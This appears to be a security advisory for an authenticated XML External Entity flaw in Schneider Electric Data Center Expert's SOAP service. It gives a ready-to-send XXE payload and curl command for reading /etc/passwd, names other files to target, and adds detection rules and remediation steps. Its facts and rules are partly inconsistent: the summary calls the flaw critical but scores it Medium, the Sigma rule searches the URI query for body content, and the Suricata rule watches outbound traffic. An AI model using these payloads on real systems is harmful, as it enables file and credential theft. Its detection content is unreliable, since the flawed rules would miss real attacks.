CVE-2026-8045

Executive Summary

CVE-2026-8045 is a critical XML External Entity (XXE) injection vulnerability affecting Schneider Electric's Data Center Expert (DCE) product. The flaw resides in the improper restriction of XML external entity references within the SOAP service endpoints. An authenticated attacker with a valid Data Center Expert user account can submit crafted XML payloads to these endpoints, leading to the disclosure of server-side file contents. This vulnerability is classified under CWE-611 and, while no CVSS vector is officially assigned, the impact is considered high due to the potential for sensitive data exfiltration (e.g., configuration files, credentials, or other system secrets). No public proof-of-concept (PoC) or exploit code has been released at this time, and no patch is currently available. The vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby) and is specific to the proprietary Schneider Electric Data Center Expert software.

Supply Chain & Package Security

Not applicable. This vulnerability is in a proprietary, closed-source product and does not involve open-source package registries.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, a reasonable assessment based on the description yields the following:

• Attack Vector (AV): Network (N) – The SOAP service is network-accessible.
• Attack Complexity (AC): Low (L) – Crafting an XXE payload is straightforward.
• Privileges Required (PR): Low (L) – Requires a valid user account, but not admin.
• User Interaction (UI): None (N) – No user action needed beyond the attacker's request.
• Scope (S): Unchanged (U) – The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (H) – Server-side file contents can be read.
• Integrity (I): None (N) – No file modification is described.
• Availability (A): None (N) – No denial-of-service impact described.

Estimated CVSS:3.1 Score: 6.5 (Medium) – AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Threat Level: High for confidentiality, but overall Medium due to the requirement for authentication and lack of integrity/availability impact.

Deep Dive & Mechanics

The vulnerability is a classic XML External Entity (XXE) injection. The Data Center Expert SOAP service endpoints fail to disable external entity processing in the XML parser. When an attacker sends a SOAP request containing a malicious XML payload with an external entity definition, the parser processes it and can include the contents of a local file in the response.

Attack Flow:

1. The attacker authenticates to the Data Center Expert web interface or API and obtains a valid session.
2. The attacker crafts a SOAP request to a vulnerable endpoint (e.g., /soap/SomeService).
3. The XML payload includes an external entity definition, such as:

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE foo [
     <!ENTITY xxe SYSTEM "file:///etc/passwd">
   ]>
   <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
     <soap:Body>
       <SomeRequest>
         <Data>&xxe;</Data>
       </SomeRequest>
     </soap:Body>
   </soap:Envelope>
   

4. The server parses the XML, resolves the &xxe; entity, and reads the contents of /etc/passwd.
5. The file content is then reflected in the SOAP response, allowing the attacker to exfiltrate sensitive data.

Root Cause: The XML parser used by the SOAP service is configured with external entity processing enabled. Secure defaults would disable DTDs or external entities entirely.

Vulnerable vs. Patched Code

Since this is a proprietary product, no source code is available. However, the vulnerable configuration can be described conceptually:

Vulnerable Configuration (Conceptual):

// Insecure XML parser setup
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// DTD processing is not disabled
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));

Patched Configuration (Conceptual):

// Secure XML parser setup
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// OR
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));

The patch would involve disabling DTDs or external entity processing in the XML parser configuration.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid user account on the Data Center Expert instance.
• Network access to the SOAP service endpoint (typically on port 80/443 or a custom port).

Exploitation Steps:

1. Authenticate and obtain a session cookie or token.
2. Identify a vulnerable SOAP endpoint (e.g., by fuzzing or reading documentation).
3. Craft the malicious XML payload as shown above.
4. Send the request using a tool like curl:

   curl -X POST https://target/soap/SomeService \
     -H "Content-Type: text/xml; charset=utf-8" \
     -H "SOAPAction: \"SomeAction\"" \
     -H "Cookie: session=valid_session_cookie" \
     -d '<?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE foo [
     <!ENTITY xxe SYSTEM "file:///etc/passwd">
   ]>
   <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
     <soap:Body>
       <SomeRequest>
         <Data>&xxe;</Data>
       </SomeRequest>
     </soap:Body>
   </soap:Envelope>'
   

5. The response will contain the contents of /etc/passwd (or other targeted files).

Alternative Payloads:

• Read application config: file:///opt/dce/conf/dce.properties
• Read logs: file:///var/log/dce/access.log
• Use blind XXE techniques if no direct reflection (e.g., out-of-band exfiltration via HTTP).

Blue Team (Detection & Response)

Detection:

• Monitor SOAP requests for unusual XML structures, especially <!DOCTYPE and <!ENTITY declarations.
• Look for requests containing SYSTEM or PUBLIC identifiers in the XML body.
• Alert on requests that attempt to read sensitive files (e.g., /etc/passwd, /etc/shadow, .env).

Response:

• Immediately isolate the affected Data Center Expert instance.
• Review logs for any successful XXE exploitation (e.g., responses containing file contents).
• Rotate any credentials that may have been exposed.
• Apply vendor patch as soon as it becomes available.
• Implement a Web Application Firewall (WAF) rule to block XXE payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • SOAP requests containing <!DOCTYPE and <!ENTITY declarations.
  • Requests with SYSTEM or PUBLIC in the XML body.
  • Outbound connections from the DCE server to attacker-controlled hosts (for blind XXE).
• File IOCs:
  • Unexpected file reads in server logs (e.g., /etc/passwd accessed by the DCE process).
  • Modified configuration files (if the attacker used XXE to write files, though not described).
• Log IOCs:
  • SOAP service logs showing requests with unusual XML structures.
  • Error logs indicating XML parsing failures (e.g., "External entity: failed to read").

Detection Engineering

YARA Rule

rule CVE_2026_8045_XXE_SOAP {
    meta:
        description = "Detects XXE payloads targeting Schneider Electric Data Center Expert SOAP endpoints"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-8045"
    strings:
        $xml_decl = /<\?xml.*\?>/
        $doctype = /<!DOCTYPE\s+\w+\s*\[/
        $entity_system = /<!ENTITY\s+\w+\s+SYSTEM\s+["']file:\/\//
        $soap_envelope = /<soap:Envelope/
    condition:
        all of ($xml_decl, $doctype, $entity_system, $soap_envelope)
}

Sigma Rule

title: CVE-2026-8045 XXE in Schneider Electric Data Center Expert SOAP
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XXE payloads in SOAP requests to Data Center Expert
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/soap/*'
        cs-uri-query|contains: 
            - '<!DOCTYPE'
            - '<!ENTITY'
            - 'SYSTEM'
            - 'file://'
    condition: selection
falsepositives:
    - Legitimate XML processing with DTDs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-8045 XXE in Schneider Electric Data Center Expert SOAP"; flow:to_server,established; content:"POST"; http_method; content:"/soap/"; http_uri; content:"<!DOCTYPE"; http_client_body; content:"<!ENTITY"; http_client_body; content:"SYSTEM"; http_client_body; content:"file://"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SOAP services if not required for business operations.
2. Apply network segmentation to restrict access to the Data Center Expert management interface to trusted IPs only.
3. Implement a WAF rule to block XML containing <!DOCTYPE, <!ENTITY, SYSTEM, or PUBLIC declarations.
4. Monitor logs for any signs of exploitation.

Long-Term Fix:

• Apply the vendor patch as soon as it is released.
• If patching is delayed, consider upgrading to a version where the XML parser is configured securely (e.g., using a library that disables DTDs by default).
• Conduct a security review of all SOAP endpoints to ensure proper input validation and secure XML parsing.

Workaround:

• If the SOAP service cannot be disabled, configure the underlying XML parser to disallow DOCTYPE declarations. This may require vendor assistance or a configuration change in the application server.

Valters IT